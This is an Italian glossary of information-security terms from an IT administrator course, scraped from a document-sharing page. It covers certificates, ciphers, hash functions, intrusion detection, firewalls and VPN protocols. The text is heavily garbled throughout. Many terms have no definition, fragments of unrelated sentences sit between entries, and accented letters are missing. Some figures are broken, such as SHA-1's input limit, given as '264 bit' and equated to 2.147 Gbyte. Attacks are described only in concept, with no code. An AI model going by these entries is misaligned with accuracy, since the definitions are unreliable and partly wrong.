Coordination Center (CERT-CC) ed situato presso il
certificate repository
il database dove la CA pubblica i certificati che genera,
che pu essere utilizzato come fonte centrale dei certificati
e delle chiavi pubbliche dagli utenti della PKI. Esso pu
inoltre essere usato come ubicazione centrale delle CRL.
privata della CA.
certificato
una struttura di dati che associa lidentit del titolare alla
coppia di chiavi (la chiave pubblica inclusa nel
certificato), certificata tramite una firma digitale prodotta
per mezzo della chiave privata della CA. Detto anche
certificato digitale e certificato a chiave pubblica.
Chiave
Chiave privata
proprietario.
Chiave pubblica
Chiave segreta
al mittente sia al destinatario. Deve essere mantenuta
Cifrare o cifratura
Cifrario a blocchi
blocchi sono di 64 o 128 bit) e ogni operazione su un
Cifrario a flusso
il formato con cui sono codificati i messaggi creati con
Cryptographic Message Syntax (CMS).
Altre propriet del formato CMS sono: 1) gestisce la firma
congiunta di pi firmatari, 2) gestisce la firma per un
numero arbitrario di destinatari, 3) consente di aggiungere
attributi firmati al messaggio, come la data e lora della
firma, 4) consente di allegare al messaggio i certificati dei
firmatari, agevolando la verifica della firma, 5) include gli
identificatori degli algoritmi crittografici utilizzati e gli
elementi che facilitano la decifratura e la verifica della
firma.
Common Criteria
disponibilit di informazioni e risorse informatiche e della
Contromisure
volte ad annullare o limitare le vulnerabilit e a contrastare
le minacce.
di sicurezza.
Correttezza
procedura), che riflette il grado di corrispondenza tra le
sono i metodi con cui viene valutata la fiducia che pu
essere accordata ai sistemi e ai prodotti informatici di
sicurezza. Tra le pubblicazioni disponibili, le tre pi
significative sono i criteri americani TCSEC (Trusted
Computing Security Evaluation Criteria, 1985), i criteri
europei ITSEC (Information Security Evaluation Criteria,
1991) e i criteri internazionali ISO/IEC 15408, noti come
Common Criteria e pubblicati nel 1999.
Crittoanalisi
cifrato senza disporre della chiave o senza scoprire il
Crittografia
crittografia a curve ellittiche (ECC)
tecnologia di cifratura asimmetrica con chiavi molto pi
corte rispetto a RSA. Una chiave ECC di 163 bit equivale a
una chiave RSA di 1024 bit. Le curve ellittiche sono una
permettono di creare algoritmi crittografici asimmetrici,
vista lestrema difficolt di eseguire i calcoli a ritroso per
ricostruire la chiave privata dalla chiave pubblica e dalle
condizioni iniziali.
Crittologia
Crittosistema
messaggio cifrato (ciphertext) e poi di nuovo nel
CRL (Certificate Revocation List)
contiene l'elenco dei certificati sospesi e revocati. E' una
struttura firmata (poich occorre garantire lattendibilit
delle informazioni che vi sono contenute) ed composta di
due parti: una generale con informazioni sulla CRL stessa
e la lista dei certificati revocati dallente emettitore.
Custode dei dati
dei dati.
lalgoritmo di cifratura pi conosciuto ed stato il primo
di cui sono stati forniti tutti i dettagli di implementazione.
E stato incluso nella maggioranza dei prodotti commerciali
dotati di funzionalit crittografiche ed stato usato dagli
enti governativi. Per oltre un decennio, DES stato
considerato uno degli algoritmi pi efficaci ed efficienti,
finch la NSA smise di supportarlo nel 1988, prevedendo
la sua vulnerabilit a fronte della crescita della potenza di
calcolo dei computer.
Diffie-Hellmann
algoritmo di crittografia asimmetrica, utilizzato per lo
scambio delle chiavi, dove i due interlocutori si scambiano
le chiavi pubbliche e, con le proprie chiavi private,
costruiscono una chiave segreta condivisa.
Digest
vedi hash.
Disaster Recovery
Disponibilit
Distributed IDS (DIDS)
una combinazione di sensori NIDS e sensori HIDS,
distribuiti attraverso la rete aziendale, che riportano le
informazioni a un sistema centrale di coordinamento.
DMZ (Demilitarized Zone)
il termine di origine militare indica un'area tampone tra una
zona fidata e una non fidata all'interno della quale non
sono consentite le armi. Applicata al networking, una DMZ
una sottorete alla quale sono connessi sistemi
accessibili da reti con diversi livelli di fiducia e criticit.
DSA (Digital Signature Algorithm)
una variante dellalgoritmo di cifratura asimmetrica
ElGamal il DSA, o Digital Signature Algorithm, sviluppato
dalla NSA e pubblicato dal NIST (National Institute of
Standards and Technology) e diventato uno standard del
governo USA.
DSS (Digital Signature Standard)
Lo standard federale americano per la firma elettronica di
cui DSA lalgoritmo di firma e SHA lalgoritmo di hash.
Dynamic packet filtering
Vedi Stateful inspection.
un dei principali cifrari a blocchi. Ogni blocco di testo in
chiaro.
ECDSA
una variante pi efficiente del DSA basata sulle curve
ellittiche.
Efficacia
ElGamal
algoritmo di cifratura asimmetrica. Pu essere usato sia
per la cifratura sia per lautenticazione con firma digitale.
E un algoritmo sicuro e ha la caratteristica di generare un
ESP (Encapsulation Security Payload)
uno dei protocolli della famiglia IPSec. Fornisce la prova di
origine dei pacchetti ricevuti, l'integrit dei dati, la
protezione da replay (invio ripetuto degli stessi dati) e la
riservatezza, ottenuta attraverso la cifratura del traffico.
Antipolis (Francia) ed responsabile per la
Firma digitale
una firma devessere difficile da falsificare, non ripudiabile
documento a un altro). La firma digitale si basa sulla
cifratura asimmetrica di un hash o digest calcolato sul
contenuto del documento o messaggio.
e attacchi.
FTP bounce
un attacco (rimbalzo FTP) che sfrutta una vulnerabilit del
protocollo FTP per cui un attaccante in grado di usare il
comando PORT per chiedere accesso alle porte
indirettamente, attraverso l'uso del server FTP come
intermediario nella richiesta.
Funzionalit
informatici.
Garanzia
Hash un numero binario di lunghezza fissa, ricavato da un
input (file, messaggio, blocco di dati eccetera) di lunghezza
HMAC
costituisce un keyed hash
honeynet
una rete composta da honeypot, ossia sistemi vulnerabili
verso cui attirare un attaccante per distrarlo dai sistemi
critici e trattenerlo abbastanza a lungo da individuarlo.
Honeypot
un sistema esca, distinto e complementare rispetto a un
IDS, progettato per attirare gli attaccanti lontano dai
sistemi critici.
Host-Based IDS (HIDS)
un IDS basato su host (HIDS) differisce da un NIDS in due
modi: protegge solo il sistema su cui installato (anzich
la sottorete) e la scheda di rete del sistema su cui
installato funziona in modo non promiscuo (non ascolta i
pacchetti destinati agli altri nodi della sottorete).
sviluppo futuro.
Numbers)
IDEA
IDEA un cifrario simmetrico a blocchi di 64 bit, suddivisi
in 16 sotto-blocchi sottoposti a otto serie di manipolazioni
matematiche. IDEA presenta similitudini con DES, ma
molto pi robusto. La chiave lunga 128 bit. IDEA
brevettato ed concesso in licenza dalla societ svizzera
Mediacrypt.
individuo o un processo e ad autenticarne lidentit.
IKE (Internet Key Exchange)
uno dei protocolli della famiglia IPSec. Fornisce un modo
dinamico automatico per autenticare gli interlocutori,
negoziare i servizi di sicurezza e generare chiavi condivise.
Impatto
Integrit la fedele conservazione del contenuto originario
di un documento archiviato o trasmesso in rete, attestata
da strumenti che segnalano se il documento ha subito
alterazioni. Lintegrit il grado di correttezza, coerenza e
affidabilit delle informazioni e anche il grado di
completezza, coerenza e condizioni di funzionamento delle
risorse informatiche.
professionisti nel mondo del networking e che ha la
Intrusion Detection Systems (IDS)
sistemi hardware o software che automatizzano il processo
di monitoraggio degli eventi che avvengono in un sistema o
in una rete, analizzandoli alla ricerca dindicatori
riconducibili a problemi di sicurezza. Hanno il compito di
riscontrare attivit sospette e intrusioni, sia di tipo
classificato e riconoscibile tramite pattern matching, sia di
tipo sconosciuto in virt di qualche anomalia di
comportamento o di uso scorretto dei protocolli.
Intrusion Prevention Systems (IPS)
sistemi che cercano d'inviduare tentativi d'intrusione e
rispondere immediatamente. Anzich limitarsi a monitorare
il traffico come fanno gli IDS, gli IPS vengono installati in
linea, di fronte alla rete o al servizio da proteggere, in
modo da bloccare il traffico ostile.
IPSec (Internet Protocol Security)
La principale suite di protocolli usata per creare VPN
(Virtual Private Network). Fornisce funzioni di
autenticazione e di cifratura a livello del protocollo IP. Il
modo in cui IPSec protegge i pacchetti IP attraverso l'uso
di uno dei suoi due protocolli, ESP (Encapsulation Security
Payload) o AH (Authentication Header). AH fornisce la prova
di origine dei pacchetti ricevuti, l'integrit dei dati e la
protezione da replay. ESP offre tutto ci che fornisce AH
con in pi la riservatezza, ottenuta attraverso la cifratura
del traffico.
tecnologia.
italiano).
ISO/IEC 17799
A, II dieci domini formano una piramide che scende dalla
ITSEC (Information Security Evaluation Criteria)
paesi europei.
Keyed hashing
Keyspace
Layer 2 Forwarding (L2F)
protocollo di tunneling di strato 2. A differenza di PPTP e
L2TP, L2F destinato all'uso tra dispositivi di rete, come il
server di accesso alla rete di un ISP (Internet Service
Provider), e il gateway VPN di un'azienda. Gli utenti
stabiliscono una connessione non protetta dal loro
computer all'ISP. Quest'ultimo riconosce che il traffico
degli utenti deve essere incapsulato in un tunnel verso
l'azienda, perci autentica ogni utente e il gateway
dell'azienda, quindi fornisce la protezione del traffico tra il
proprio server e l'azienda.
Layer 2 Tunneling Protocol (L2TP)
alla pari di PPTP, protegge le comunicazioni tra un client e
un server entrambi abilitati a L2TP. Utilizza un proprio
protocollo di tunneling che fa uso della porta UDP 1701.
Inoltre, L2TP supporta sessioni multiple nello stesso
tunnel.
Link Mode Port
vedi Port Mirroring.
man-in-the-middle
tipo di attacco dove il nemico finge rispettivamente di
essere l'altro interlocutore nei confronti di due sistemi tra i
quali si interposto. Intercetta il traffico dell'uno prima di
ritrasmetterlo all'altro e viceversa, fingendo ogni volta di
essere il mittente e il destinatario corretto per ciascuna
comunicazione.
MD5
algoritmo di hash evoluzione di MD4, stato sviluppato da
Ron Rivest allMIT nel 1991 ed descritto nella RFC 1321
(www.ietf.org/rfc). MD5 molto popolare, ma la crescita
della potenza di calcolo e i primi successi degli attacchi sia
basati su forza bruta sia di tipo crittoanalitico (basati
sullanalisi dellalgoritmo) inducono a considerare MD5
vulnerabile
Microsoft Point-to-Point Encryption (MPPE)
un meccanismo di cifratura per PPTP sviluppato da
Microsoft, che usa una chiave da 40 o 128 bit con
l'algoritmo RC4 di RSA.
Minaccia
Monitoring Port
vedi Port Mirroring.
Network-Based IDS (NIDS)
sotto controllo un intero segmento di rete (o sottorete). La
scheda passa agli strati di rete superiori non solo i
pacchetti diretti all'indirizzo MAC (Media Access Control)
della scheda, ma tutti i pacchetti che transitano in quel
punto della rete, qualunque sia il destinatario. L'IDS si
comporta quindi da sniffer di tutto il traffico in transito,
che viene quindi analizzato con metodi diversi.
Non ripudio
Norme e linee guida
Norme funzionali
ricercare linteroperabilit dei prodotti informatici. Coprono
argomenti quali i protocolli di comunicazione, il formato dei
dati (per esempio in un certificato digitale o in una
smartcard) e cos via.
Obiettivi
OCSP (Online Certificate Status Protocol)
un protocollo relativamente semplice di domanda-
risposta, che offre uno strumento per ottenere online
informazioni aggiornate sulla revoca dei certificati, fornite
da unentit fidata.
one-way hash function
produce una trasformazione a senso unico, dove a N
possibili input corrisponde un output, da cui non
possibile risalire allinput. Lhashing one-way viene usato
nella crittografia asimmetrica per produrre le firme digitali
(ad esempio con gli algoritmi RSA o DSA), anche in questo
caso per assicurare lautenticit e lintegrit dei dati
trasmessi o archiviati.
Packet filter
il tipo pi semplice di firewall che consiste di un router
che include una funzione di controllo d'accesso per i
singoli pacchetti governata da una serie di regole (ruleset)
eseguite in sequenza.
Padded Cell
una padded cell (cella imbottita) opera in coppia con un
IDS, Quando l'IDS riconosce un attaccante, lo trasferisce
in modo trasparente a uno speciale host con funzione di
padded cell, che contiene un ambiente simulato dove
l'attaccante non pu fare danno.
Pattern matching
d'intrusione. Consiste nel riconoscimento dei pacchetti a
fronte di un database di "firme" che identificano i vari tipi
di attacco.
nel 1991 come freeware. Le funzioni
di PGP sono: firma digitale, cifratura dei messaggi,
compressione, conversione in ASCII (in base 64) e
segmentazione dei messaggi; di queste, le prime due
rientrano nel contesto delle applicazioni crittografiche.
PKCS (Public Key Cryptographic Standard)
PKI (per esempio, PKCS #1 descrive lo standard di
cifratura RSA). PKCS #7 specifica i formati binari usati per
la firma digitale e per la busta elettronica. Lo standard
aggiornata dalla RFC 2630.
PKI (Public Key Infrastructure)
Linfrastruttura a chiave pubblica nasce con lo scopo di
distribuire e gestire in modo sicuro le chiavi pubbliche per
tutto il periodo della loro validit, garantendo la
corrispondenza tra ogni chiave pubblica e il proprietario
della coppia di chiavi. La garanzia di autenticit delle chiavi
pubbliche (e quindi delle corrispondenti chiavi private)
fornita dalle Autorit di Certificazione (Certification
Authority o CA) tramite lemissione di certificati digitali.
Point-to-Point Tunneling Protocol (PPTP)
fornisce un tunnel protetto tra un client (per esempio un
personal computer) e un server entrambi abilitati a PPTP.
La versione 2 ha risolto molti problemi di sicurezza, ma se
ne consiglia l'utilizzo solo per connessioni occasionali
senza alti requisiti di sicurezza.
particolare.
Port Mirroring
per consentire l'analisi del traffico a scopo di prevenzione
delle intrusioni, gli switch vengono riconfigurati in modo da
replicare i dati di tutte le porte o VLAN (Virtual LAN) su una
singola porta di mirroring. Spesso Port Mirroring indica pi
precisamente la capacit di copiare il traffico da una
singola porta a una porta di mirroring, disattivandone il
traffico bidirezionale. Vedi anche Spanning Port.
Privacy
dei dati personali.
Proxy
(procuratore) un server che si frappone fra un'applicazione
client (come un browser) e un reale server (come un web
server). Al server il proxy appare come se fosse il client,
Proxy firewall
un firewall basato su proxy (detto anche application
gateway, proxy gateway e proxy server) che richiede
un'applicazione specifica per ogni protocollo. Vengono
usate applicazioni che accettano connessioni dai client,
esaminano il traffico e aprono corrispondenti connessioni
verso i server.
RC4
1987 da Ron Rivest per RSA Security. Utilizza un
keystream di dimensioni variabili (ma solitamente di 128
bit) e opera su un byte alla volta. In origine il cifrario era
segreto, ma fu fatto filtrare su Internet. Lalgoritmo molto
robusto se utilizzato con chiavi di lunghezza adeguata
(tipicamente 128 bit) casuali e non riutilizzate.
RC5
RC5 un cifrario simmetrico a blocchi dotato di parecchi
parametri per assegnare le dimensioni del blocco, la
lunghezza della chiave e il numero di passaggi di
trasformazione da eseguire. E stato creato da Ron Rivest
(la R di RSA). Di solito si utilizzano blocchi di 32, 64 o 128
bit e la chiave pu raggiungere i 2.048 bit. RC5 stato
brevettato da RSA Security nel 1997. Il basso consumo di
memoria lo rendono adatto per smartcard e altri dispositivi
simili.
linfrastruttura.
Registration Authority
un componente dellinfrastruttura che viene talvolta
utilizzato per sollevare la CA da certe funzioni, aumentando
la scalabilit e riducendo i costi. I servizi della RA sono di
autenticazione e validazione delle richieste provenienti
dalle entit utenti.
Replay
tecnica d'attacco che prevede l'invio ripetuto degli stessi
dati oppure con forte alterazione della sequenza.
L'attaccante usa un vecchio messaggio o parte del traffico
che ha intercettato e registrato e che ora ripropone per
indurre un server a ripetere una determinata operazione.
Un impiego tipico richiedere l'autenticazione riciclando
informazioni di autenticazione utilizzate da qualcun altro in
precedenza.
Reverse proxy
indica un proxy utilizzato per la protezione di un server,
tipicamente un web server (HTTP/HTTPS) su Internet. Gli
usi pi comuni dei reverse proxy riguardano il
bilanciamento del carico e la continuit del servizio, che
costituiscono anche un aspetto di disponibilit.
Rilevamento delle anomalie
d'intrusione. Suddivisibili in anomalie basate sul
comportamento e in anomalie basate sul protocollo. Il
rilevamento delle anomalie si basa sull'esame del traffico
a livello superiore rispetto al pattern matching e all'analisi
dei protocolli. Anzich i singoli pacchetti, si osserva il
traffico nel suo complesso
RIPEMD-160
algoritmo di hash sviluppato nellambito del progetto
European RACE Integrity Primitives Evaluation (RIPE) da un
gruppo di ricercatori che avevano conseguito parziali
successi nellattaccare MD4 e MD5.
Rischio
Riservatezza
risorse informatiche alle sole persone autorizzate e si
applica sia allarchiviazione sia alla comunicazione delle
informazioni.
simili.
RSA
dellomonima azienda, il cifrario asimmetrico pi
utilizzato. Pu essere usato sia per la cifratura (per
ottenere lautenticazione), sia per lo scambio delle chiavi
(come nellesempio di cui sopra).
Scambio dati sicuro
Screened subnet
a differenza di una DMZ che una piccola sottorete
collocata tra il router Internet e l'interfaccia esterna del
firewall, una screened subnet una rete isolata
accessibile solo attraverso una delle interfacce del firewall
e non connessa direttamente alla rete interna.
Secure Shell (SSH)
trasmessi.
SHA (Secure Hash Algorithm)
uno standard FIPS (Federal Information Processing
Standard) statunitense. SHA genera un digest di 160 bit
che viene passato a DSA o a un altro degli algoritmi di
firma digitale ammessi dal governo USA (RSA ed ECDSA,
Elliptic Curve Digital Signature Algorithm).
SHA-1
stato sviluppato dal NIST ed stato pubblicato come
standard federale USA nel 1993 con il nome di Secure
Hash Algorithm (SHA, FIPS 180) e riveduto nel 1995 come
SHA-1 (FIPS180-1). SHA-1 riceve in input un messaggio di
lunghezza massima inferiore a 264 bit (una dimensione
equivalente a 2.147 Gbyte e perci praticamente
illimitata), suddiviso in blocchi di 512 bit, e produce un
hash di 160 bit.
Sicurezza attiva
problemi futuri. Questo viene ottenuto non solo impedendo
agli estranei di accedere alle informazioni (sicurezza
passiva o difensiva), ma rendendo le informazioni
intrinsecamente sicure a livello applicativo, proteggendone
la riservatezza (confidentiality, chiamata anche
confidenzialit), lintegrit e lautenticit.
Sicurezza passiva
Skipjack
1987, messo in servizio nel 1993 e declassificato nel
1998.
Social engineering
la pratica di manipolare ad arte le persone per indurle a
compiere azioni (come lesecuzione di software maligno)
oppure a rivelare informazioni (come le password) utili a
ottenere accesso a dati e risorse.
SPAN port
vedi Spanning Port.
Spanning Port
in parte sinonimo di Port Mirroring. Per consentire l'analisi
del traffico a scopo di prevenzione delle intrusioni, gli
switch vengono riconfigurati in modo da replicare i dati di
tutte le porte o VLAN (Virtual LAN) su una singola porta di
mirroring. Spanning Port indica in particolare la possibilit
di copiare il traffico da tutte le porte a una singola porta,
disattivandone il traffico bidirezionale.
Stateful inspection
tutti i filtri di pacchetti che implementano qualche forma di
stateful inspection mantengono in memoria lo stato di
tutte le comunicazioni che attraversano il firewall e
determinano se bloccare i singoli pacchetti in base a interi
flussi di comunicazione, non semplicemente sulla base dei
singoli pacchetti. Perci, i firewall del tipo stateful
inspection (o stateful packet inspection, SPI) permettono o
bloccano il passaggio di un pacchetto non solo in base a
indirizzi IP e porte, ma anche utilizzando SYN, ACK, numeri
di sequenza e altri dati contenuti nell'header TCP (strato
4).
Static packet filtering
Vedi Packet filtering
TCSEC (Trusted Computing Security Evaluation Criteria)
Time Stamp Authority (TSA)
una terza parte fidata che attesta il tempo di produzione o
dinvio di un documento tramite una marca temporale,
che di fatto una controfirma del documento contenente
un hash del documento, il riferimento temporale e altre
informazioni.
UNINFO
Verifica (audit) le funzioni che registrano gli eventi in un file
di logging, con informazioni riguardo a errori e a violazioni
di sicurezza.
Virtual Private Network (VPN)
una VPN una rete virtuale, costruita sulla base di reti
fisiche esistenti, in grado di fornire un meccanismo di
comunicazione sicura dei dati e delle informazioni IP
trasmessi in rete.
Vulnerabilit

Corso IT Administrator

Transféré par

Informations du document

Copyright

Formats disponibles

Partager ce document

Partager ou intégrer le document

Options de partage

Avez-vous trouvé ce document utile ?

Ce contenu est-il inapproprié ?

Droits d'auteur :

Formats disponibles

Corso IT Administrator

Transféré par

Droits d'auteur :

Formats disponibles

www.pcopen.

Vous aimerez peut-être aussi